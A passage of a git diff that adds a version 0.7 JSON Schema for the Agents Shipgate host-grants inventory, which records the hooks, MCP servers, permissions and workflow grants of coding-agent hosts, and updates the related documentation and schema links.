"excluded_scopes": { + "items": { + "type": "string" + }, + "title": "Excluded Scopes", + "type": "array" + }, + "grants": { + "items": { + "discriminator": { + "mapping": { + "additional_path": "#/$defs/HostAdditionalPathGrantV2", + "hook": "#/$defs/HostHookGrantV7", + "instruction_trust_root": "#/$defs/HostInstructionGrantV2", + "mcp_server": "#/$defs/HostMcpServerGrantV7", + "permission_mode": "#/$defs/HostPermissionModeGrantV2", + "permission_rule": "#/$defs/HostPermissionRuleGrantV2", + "plugin_or_app": "#/$defs/HostPluginGrantV2", + "profile": "#/$defs/HostProfileGrantV2", + "requirement": "#/$defs/HostRequirementGrantV2", + "sandbox": "#/$defs/HostSandboxGrantV2", + "workflow": "#/$defs/HostWorkflowGrantV6" + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/HostMcpServerGrantV7" + }, + { + "$ref": "#/$defs/HostPermissionRuleGrantV2" + }, + { + "$ref": "#/$defs/HostPermissionModeGrantV2" + }, + { + "$ref": "#/$defs/HostHookGrantV7" + }, + { + "$ref": "#/$defs/HostSandboxGrantV2" + }, + { + "$ref": "#/$defs/HostAdditionalPathGrantV2" + }, + { + "$ref": "#/$defs/HostPluginGrantV2" + }, + { + "$ref": "#/$defs/HostProfileGrantV2" + }, + { + "$ref": "#/$defs/HostRequirementGrantV2" + }, + { + "$ref": "#/$defs/HostWorkflowGrantV6" + }, + { + "$ref": "#/$defs/HostInstructionGrantV2" + } + ] + }, + "title": "Grants", + "type": "array" + }, + "host_coverage": { + "items": { + "$ref": "#/$defs/HostCoverageV2" + }, + "title": "Host Coverage", + "type": "array" + }, + "host_grants_inventory_schema_version": { + "const": "0.7", + "default": "0.7", + "title": "Host Grants Inventory Schema Version", + "type": "string" + }, + "issues": { + "items": { + "$ref": "#/$defs/HostInventoryIssueV2" + }, + "title": "Issues", + "type": "array" + }, + "runtime_session_verified": { + "const": false, + "default": false, + "title": "Runtime Session Verified", + "type": "boolean" + }, + "scope": { + "default": "repository", + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "static_analysis_only": { + "const": true, + "default": true, + "title": "Static Analysis Only", + "type": "boolean" + }, + "workspace": { + "title": "Workspace", + "type": "string" + } + }, + "required": [ + "workspace" + ], + "title": "HostGrantsInventoryV7", + "type": "object" + }, + "HostHookCommandV7": { + "additionalProperties": false, + "description": "A hook command as its grant publishes it: the executable's name and a digest of the whole command.\n\n``executable`` is the last path segment of the command's first\nwhitespace-separated word, when it is a plain token\n(``[A-Za-z0-9._+-]``, at most 80 characters) no redaction rule rewrites\nand the word is no shell reserved word and holds no ``://``, and\n```` otherwise, so no part of a URL is named. It\nis a label, not a claim about what a host runs. ``sha256`` is the digest of the whole command as\n``config_sha256``'s input holds it, so it moves only when that digest\ndoes; a value that input redacts moves neither. The command's text is\nnever published.", + "properties": { + "executable": { + "title": "Executable", + "type": "string" + }, + "sha256": { + "pattern": "^[0-9a-f]{64}$", + "title": "Sha256", + "type": "string" + } + }, + "required": [ + "executable", + "sha256" + ], + "title": "HostHookCommandV7", + "type": "object" + }, + "HostHookGrantV7": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "event": { + "title": "Event", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "handlers": { + "anyOf": [ + { + "items": { + "$ref": "#/$defs/HostHookHandlerV7" + }, + "type": "array" + }, + { + "type": "null" + } + ], + "title": "Handlers" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "hook", + "default": "hook", + "title": "Kind", + "type": "string" + }, + "omitted_handlers": { + "default": 0, + "minimum": 0, + "title": "Omitted Handlers", + "type": "integer" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "event", + "handlers" + ], + "title": "HostHookGrantV7", + "type": "object" + }, + "HostHookHandlerV7": { + "additionalProperties": false, + "description": "One hook handler under an event: its group's matcher, its command and its timeout.\n\n``matcher`` is ``None`` when its group declares none, which the host reads\nas every tool or source, and ```` when it is not a string or is\nlonger than 1,024 characters as ``config_sha256``'s input holds it;\notherwise it passes through the published-label redaction and is cut at\n120 characters. ``command`` is ``None`` for a handler with\nno command string, such as a ``prompt`` handler, whose prompt is not\npublished. ``timeout`` is the declared number or boolean; an integer of\nmore than 80 digits is published as its digits cut with ``\u2026``, a string\nas written when it is a plain token, and any other value, a non-finite\nfloat among them, as ````. Other handler settings are not\npublished; a change confined to them is a row whose text says it is not\nshown.", + "properties": { + "command": { + "anyOf": [ + { + "$ref": "#/$defs/HostHookCommandV7" + }, + { + "type": "null" + } + ], + "default": null + }, + "matcher": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Matcher" + }, + "timeout": { + "anyOf": [ + { + "type": "boolean" + }, + { + "type": "integer" + }, + { + "type": "number" + }, + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Timeout" + } + }, + "title": "HostHookHandlerV7", + "type": "object" + }, + "HostInstructionGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "instruction_trust_root", + "default": "instruction_trust_root", + "title": "Kind", + "type": "string" + }, + "path": { + "title": "Path", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "path" + ], + "title": "HostInstructionGrantV2", + "type": "object" + }, + "HostInventoryIssueV2": { + "additionalProperties": false, + "properties": { + "blocking": { + "title": "Blocking", + "type": "boolean" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "issue_id": { + "title": "Issue Id", + "type": "string" + }, + "kind": { + "enum": [ + "parse_failed", + "unreadable", + "unsupported", + "unresolved_precedence", + "dynamic_source_excluded", + "remote_source_excluded" + ], + "title": "Kind", + "type": "string" + }, + "message": { + "title": "Message", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "issue_id", + "kind", + "host", + "source", + "message", + "blocking" + ], + "title": "HostInventoryIssueV2", + "type": "object" + }, + "HostMcpServerGrantV7": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "args_sha256": { + "anyOf": [ + { + "pattern": "^[0-9a-f]{64}$", + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Args Sha256" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "endpoint": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Endpoint" + }, + "env_keys": { + "items": { + "type": "string" + }, + "title": "Env Keys", + "type": "array" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "header_keys": { + "items": { + "type": "string" + }, + "title": "Header Keys", + "type": "array" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "mcp_server", + "default": "mcp_server", + "title": "Kind", + "type": "string" + }, + "package": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Package" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "server": { + "title": "Server", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "transport": { + "title": "Transport", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "server", + "transport", + "package", + "args_sha256" + ], + "title": "HostMcpServerGrantV7", + "type": "object" + }, + "HostPermissionModeGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "permission_mode", + "default": "permission_mode", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "setting": { + "title": "Setting", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "value": { + "title": "Value", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "setting", + "value" + ], + "title": "HostPermissionModeGrantV2", + "type": "object" + }, + "HostPermissionRuleGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "disposition": { + "enum": [ + "allow", + "ask", + "deny" + ], + "title": "Disposition", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "permission_rule", + "default": "permission_rule", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "rule": { + "title": "Rule", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "wildcard": { + "default": false, + "title": "Wildcard", + "type": "boolean" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "disposition", + "rule" + ], + "title": "HostPermissionRuleGrantV2", + "type": "object" + }, + "HostPluginGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "enabled": { + "anyOf": [ + { + "type": "boolean" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Enabled" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "plugin_or_app", + "default": "plugin_or_app", + "title": "Kind", + "type": "string" + }, + "name": { + "title": "Name", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "name" + ], + "title": "HostPluginGrantV2", + "type": "object" + }, + "HostProfileGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "profile", + "default": "profile", + "title": "Kind", + "type": "string" + }, + "profile": { + "title": "Profile", + "type": "string" + }, + "resolved": { + "title": "Resolved", + "type": "boolean" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "profile", + "resolved" + ], + "title": "HostProfileGrantV2", + "type": "object" + }, + "HostRequirementGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "requirement", + "default": "requirement", + "title": "Kind", + "type": "string" + }, + "requirement": { + "title": "Requirement", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "value": { + "title": "Value", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "requirement", + "value" + ], + "title": "HostRequirementGrantV2", + "type": "object" + }, + "HostReusableWorkflowCallV6": { + "additionalProperties": false, + "properties": { + "job": { + "title": "Job", + "type": "string" + }, + "secret_mappings": { + "items": { + "$ref": "#/$defs/HostReusableWorkflowSecretV6" + }, + "title": "Secret Mappings", + "type": "array" + }, + "secrets_inherit": { + "title": "Secrets Inherit", + "type": "boolean" + }, + "uses": { + "title": "Uses", + "type": "string" + }, + "uses_redacted": { + "default": false, + "title": "Uses Redacted", + "type": "boolean" + } + }, + "required": [ + "job", + "uses", + "secrets_inherit" + ], + "title": "HostReusableWorkflowCallV6", + "type": "object" + }, + "HostReusableWorkflowSecretV6": { + "additionalProperties": false, + "description": "One named secret a job passes to the reusable workflow it calls (#693).\n\n``destination`` is the callee's secret input name as the caller writes it.\n``source`` is ``NAME`` from a whole-value ``${{ secrets.NAME }}``, and\n``form`` is then ``secret``. The name is a reference, never a value: it\ndoes not establish the secret's privilege, whether the caller has it, or\nwhat the called workflow does with it. Anything else is ``unresolved``,\nand none of its value is published or digested: a literal value, any\nother expression, a non-string, or a ``secrets`` that is neither\n``inherit`` nor a mapping (``destination`` is then ``null``). A name the\ncredential redactors rewrite is ``redacted`` and records a blocking\ncoverage issue, because two values that redact alike must never compare as\nunchanged. Every other unresolved mapping records a non-blocking one naming\nits ``job/destination``: only that value is uncompared, so the rest of the\nfile still compares.", + "properties": { + "destination": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Destination" + }, + "form": { + "enum": [ + "secret", + "unresolved" + ], + "title": "Form", + "type": "string" + }, + "source": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Source" + }, + "unresolved_reason": { + "anyOf": [ + { + "enum": [ + "literal_value", + "expression", + "not_a_string", + "redacted", + "secrets_not_a_mapping" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Unresolved Reason" + } + }, + "required": [ + "destination", + "source", + "form" + ], + "title": "HostReusableWorkflowSecretV6", + "type": "object" + }, + "HostSandboxGrantV2": { + "additionalProperties": false, + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "sandbox", + "default": "sandbox", + "title": "Kind", + "type": "string" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "setting": { + "title": "Setting", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "value": { + "title": "Value", + "type": "string" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "setting", + "value" + ], + "title": "HostSandboxGrantV2", + "type": "object" + }, + "HostWorkflowGrantV6": { + "additionalProperties": false, + "description": "A GitHub workflow's token permissions, triggers, reusable calls and step references.\n\nEvery job id, trigger and permission scope name is a published label\n(#802): credential-shaped text in it is redacted, one way in every field \u2014\n``permission_contexts``, ``reusable_calls``, ``step_actions``, ``triggers``,\nand the job and scope names in the ``write_scopes`` and\n``effective_write_scopes`` entries \u2014 and ``config_sha256`` is computed over\nthose labels. A single redacted label still compares. When two distinct\njob ids or triggers in the workflow, or two scope names in one\n``permissions`` mapping that a job's permissions are read from, publish\nalike, the inventory records a blocking coverage issue instead of comparing\nthem as one. A top-level mapping no job inherits is read only into\n``write_scopes``, which is neither compared nor digested.", + "properties": { + "access": { + "enum": [ + "none", + "read", + "write", + "execute", + "external", + "admin", + "unknown" + ], + "title": "Access", + "type": "string" + }, + "config_sha256": { + "title": "Config Sha256", + "type": "string" + }, + "effective_write_scopes": { + "items": { + "type": "string" + }, + "title": "Effective Write Scopes", + "type": "array" + }, + "grant_id": { + "title": "Grant Id", + "type": "string" + }, + "host": { + "enum": [ + "codex", + "claude-code", + "cursor", + "vscode", + "github" + ], + "title": "Host", + "type": "string" + }, + "kind": { + "const": "workflow", + "default": "workflow", + "title": "Kind", + "type": "string" + }, + "permission_contexts": { + "items": { + "$ref": "#/$defs/HostWorkflowPermissionsV4" + }, + "title": "Permission Contexts", + "type": "array" + }, + "pull_request_target": { + "default": false, + "title": "Pull Request Target", + "type": "boolean" + }, + "reusable_calls": { + "items": { + "$ref": "#/$defs/HostReusableWorkflowCallV6" + }, + "title": "Reusable Calls", + "type": "array" + }, + "risk": { + "enum": [ + "none", + "low", + "medium", + "high", + "critical", + "unknown" + ], + "title": "Risk", + "type": "string" + }, + "scope": { + "enum": [ + "repository", + "local_static" + ], + "title": "Scope", + "type": "string" + }, + "source": { + "title": "Source", + "type": "string" + }, + "step_actions": { + "items": { + "$ref": "#/$defs/HostWorkflowStepActionV6" + }, + "title": "Step Actions", + "type": "array" + }, + "triggers": { + "items": { + "type": "string" + }, + "title": "Triggers", + "type": "array" + }, + "write_all": { + "default": false, + "title": "Write All", + "type": "boolean" + }, + "write_scopes": { + "items": { + "type": "string" + }, + "title": "Write Scopes", + "type": "array" + } + }, + "required": [ + "grant_id", + "host", + "scope", + "source", + "config_sha256", + "access", + "risk", + "permission_contexts", + "effective_write_scopes", + "reusable_calls" + ], + "title": "HostWorkflowGrantV6", + "type": "object" + }, + "HostWorkflowPermissionsV4": { + "additionalProperties": false, + "properties": { + "job": { + "title": "Job", + "type": "string" + }, + "permissions": { + "additionalProperties": { + "enum": [ + "read", + "write" + ], + "type": "string" + }, + "title": "Permissions", + "type": "object" + }, + "state": { + "enum": [ + "explicit", + "repository_default", + "unresolved" + ], + "title": "State", + "type": "string" + } + }, + "required": [ + "job", + "state", + "permissions" + ], + "title": "HostWorkflowPermissionsV4", + "type": "object" + }, + "HostWorkflowStepActionV6": { + "additionalProperties": false, + "description": "One step's declared action reference, read as text and never fetched.\n\n``form`` is ``remote`` for ``owner/repo[/path]@ref``, ``docker`` for\n``docker://\u2026``, and ``unresolved`` for a value Shipgate does not resolve\nto an action identity; ``unresolved_reason`` then says which. A job whose\n``steps`` is not a list, or a step that is not a mapping, is listed as\nunresolved too, with no ``uses``, so an absent list still means the steps\nwere read and declare nothing. A local\n``./\u2026`` reference is not listed: composite actions remain unread (#701).\n``step`` is the step's ``id``, else its ``name``, else ``steps[N]`` \u2014 the\nevidence a reviewer uses to find it, not part of the comparison. ``job``\nand ``step`` are published labels: credential-shaped text in either, and\nthe userinfo of any ``scheme://\u2026@`` inside it, is redacted (#802).", + "properties": { + "form": { + "enum": [ + "remote", + "docker", + "unresolved" + ], + "title": "Form", + "type": "string" + }, + "job": { + "title": "Job", + "type": "string" + }, + "step": { + "title": "Step", + "type": "string" + }, + "unresolved_reason": { + "anyOf": [ + { + "enum": [ + "expression", + "unsupported_reference", + "not_a_string", + "redacted", + "steps_not_a_list", + "step_not_a_mapping" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Unresolved Reason" + }, + "uses": { + "anyOf": [ + { + "type": "string" + }, + { + "type": "null" + } + ], + "title": "Uses" + } + }, + "required": [ + "job", + "step", + "uses", + "form" + ], + "title": "HostWorkflowStepActionV6", + "type": "object" + }, + "InstructionStructureEvidence": { + "additionalProperties": false, + "properties": { + "profile": { + "title": "Profile", + "type": "string" + }, + "reason": { + "title": "Reason", + "type": "string" + }, + "sha256": { + "anyOf": [ + { + "pattern": "^sha256:[0-9a-f]{64}$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Sha256" + }, + "status": { + "enum": [ + "guidance", + "structured", + "unresolved" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "profile", + "status", + "reason" + ], + "title": "InstructionStructureEvidence", + "type": "object" + } + }, + "$id": "https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-inventory-schema.v0.7.json", + "$ref": "#/$defs/HostGrantsInventoryV7", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "JSON Schema for shipgate audit --host --json. The inventory summarizes local coding-agent host grants and does not gate releases.", + "title": "Agents Shipgate Host Grants Inventory v0.7" +} diff --git a/docs/passed-verdict-contract.md b/docs/passed-verdict-contract.md index ab8e336fe..ca76a26c2 100644 --- a/docs/passed-verdict-contract.md +++ b/docs/passed-verdict-contract.md @@ -1,6 +1,6 @@ # Evidence-backed `passed` verdict -In the Agents Shipgate `1.0.0` runtime (contract v40, report schema v1.0), +In the Agents Shipgate runtime since `1.0.0` (report schema v1.0; runtime contract v41 in this tree), `release_decision.decision: passed` means the configured root agent and its complete reachable tool/handoff graph were statically proven, and every reachable capability has complete, conflict-free static identity, diff --git a/docs/quickstart.md b/docs/quickstart.md index 31859a0a7..c5cf1e9f3 100644 --- a/docs/quickstart.md +++ b/docs/quickstart.md @@ -140,7 +140,12 @@ and publishes the joined change, its direction, the counters printed below and this question in `review`, so a script reads what you read. An MCP server is named with the command name or redacted URL and the env and header key names its declaration publishes; the command's path and arguments are not -shown, so an edit confined to them says so. A URL is printed only as its scheme +shown, so an edit confined to them says so. (After `1.1.0`, #819: a package +specification among the arguments, such as `example-mcp-server@1.2.3`, is +named, and an edit to any other argument reads `launch arguments changed` with +before and after digests; no argument text is printed. A hook is named with its +matcher, its timeout, and its command's executable name and digest, never the +command's text.) A URL is printed only as its scheme and host with the path redacted; one the tool cannot reduce to that form, such as `${SLACK_MCP_BASE}/hooks/…`, reads `url not shown`. `⚠` marks an entry that widens what the agent may do: diff --git a/llms-full.txt b/llms-full.txt index 6d3f4110f..2059269df 100644 --- a/llms-full.txt +++ b/llms-full.txt @@ -857,9 +857,9 @@ For the short, current statement of "which fields to read", see [`docs/agent-con | Verifier schema (current) | [`docs/verifier-schema.v0.21.json`](docs/verifier-schema.v0.21.json) | `0.21` | | Agent handoff schema (current) | [`docs/agent-handoff-schema.v9.json`](docs/agent-handoff-schema.v9.json) | `shipgate.agent_handoff/v9` | | Preflight schema (current) | [`docs/preflight-schema.v0.5.json`](docs/preflight-schema.v0.5.json) | `0.5` | -| Host-grants inventory schema | [`docs/host-grants-inventory-schema.v0.6.json`](docs/host-grants-inventory-schema.v0.6.json) | `0.6` | -| Host-grants baseline schema | [`docs/host-grants-baseline-schema.v0.6.json`](docs/host-grants-baseline-schema.v0.6.json) | `0.6` | -| Host-grants drift schema | [`docs/host-grants-drift-schema.v0.6.json`](docs/host-grants-drift-schema.v0.6.json) | `0.6` | +| Host-grants inventory schema | [`docs/host-grants-inventory-schema.v0.7.json`](docs/host-grants-inventory-schema.v0.7.json) | `0.7` | +| Host-grants baseline schema | [`docs/host-grants-baseline-schema.v0.7.json`](docs/host-grants-baseline-schema.v0.7.json) | `0.7` | +| Host-grants drift schema | [`docs/host-grants-drift-schema.v0.7.json`](docs/host-grants-drift-schema.v0.7.json) | `0.7` | | Capability standard | [`docs/capability-standard.md`](docs/capability-standard.md) | `0.5` | | Capability lock schema | [`docs/capability-lock-schema.v0.8.json`](docs/capability-lock-schema.v0.8.json) | `0.8` | | Capability lock diff schema | [`docs/capability-lock-diff-schema.v0.9.json`](docs/capability-lock-diff-schema.v0.9.json) | `0.9` | @@ -1618,6 +1618,24 @@ directory, still refuses its comparison. A `0.20` verifier claiming a partial comparison or a `scope` is refused. See [the migration note](../STABILITY.md#partial-host-comparison-808). +The same unreleased runtime contract v41 also names what changed in a hook and +in an MCP server's launch arguments (#819). Host-grants inventory, baseline and +drift schemas move to `0.7`: a hook grant adds `handlers[]` (each handler's +group `matcher`, its `command` as `{executable, sha256}` and its `timeout`) +and `omitted_handlers`, and an MCP server grant adds `package` and +`args_sha256`. No command or argument text is published: a command is its +executable's name, when that is a plain token, and a digest; the arguments are +one package specification of a strict shape and a digest of the rest. A hook +row names the changed field, `PostToolUse: matcher Edit → Edit|Write|Bash` or +`command changed` with both digests, and a version pin moving to `@latest` is +a `package` difference, in the text and in `review.changes[].change`. The +members display what `config_sha256` already binds, so grant equality and the +inventory digests leave them out: they move no row value, row count, verifier +or capability-diff schema, a `0.6` baseline stays comparable with no new row +or reason, and `minimum_control_contract_version` stays `21`. A saved baseline +holds none of the members. See +[the migration note](../STABILITY.md#hook-mcp-detail-fields-819). + Previous runtime contract v40 reads the action reference each workflow step declares (#771). Host-grants inventory, baseline and drift schemas move to `0.6`, and a workflow grant adds `step_actions[]`: the job, the step (`id`, else `name`, @@ -2309,7 +2327,7 @@ Downstream repos generated with - Current attestation schema: `0.5` — [`docs/attestation-schema.v0.5.json`](attestation-schema.v0.5.json) - Current registry schema: `0.4` — [`docs/registry-schema.v0.4.json`](registry-schema.v0.4.json) - Current org evidence bundle schema: `shipgate.org_evidence_bundle/v2` — [`docs/org-evidence-bundle-schema.v2.json`](org-evidence-bundle-schema.v2.json) -- Current host-grants inventory, baseline, and drift schemas: `0.6` — [`inventory`](host-grants-inventory-schema.v0.6.json), [`baseline`](host-grants-baseline-schema.v0.6.json), [`drift`](host-grants-drift-schema.v0.6.json) +- Current host-grants inventory, baseline, and drift schemas: `0.7` — [`inventory`](host-grants-inventory-schema.v0.7.json), [`baseline`](host-grants-baseline-schema.v0.7.json), [`drift`](host-grants-drift-schema.v0.7.json) - Current trigger catalog schema: `0.4` — [`docs/triggers.json`](triggers.json) - Current governance benchmark catalog schema: `0.2` — [`docs/governance-benchmark-catalog-schema.v0.2.json`](governance-benchmark-catalog-schema.v0.2.json) - Current governance benchmark result schema: `0.2` — [`docs/governance-benchmark-result-schema.v0.2.json`](governance-benchmark-result-schema.v0.2.json) diff --git a/llms.txt b/llms.txt index d1abc6abe..1f088484d 100644 --- a/llms.txt +++ b/llms.txt @@ -87,9 +87,9 @@ - Attestation schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/attestation-schema.v0.5.json - Registry schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/registry-schema.v0.4.json - Org evidence bundle schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/org-evidence-bundle-schema.v2.json -- Host-grants inventory schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-inventory-schema.v0.6.json -- Host-grants baseline schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-baseline-schema.v0.6.json -- Host-grants drift schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-drift-schema.v0.6.json +- Host-grants inventory schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-inventory-schema.v0.7.json +- Host-grants baseline schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-baseline-schema.v0.7.json +- Host-grants drift schema (current): https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/host-grants-drift-schema.v0.7.json - Capability standard: https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/capability-standard.md - Governance benchmark catalog/result schemas: https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/governance-benchmark-catalog-schema.v0.2.json and https://raw.githubusercontent.com/ThreeMoonsLab/agents-shipgate/main/docs/governance-benchmark-result-schema.v0.2.json - Check catalog: 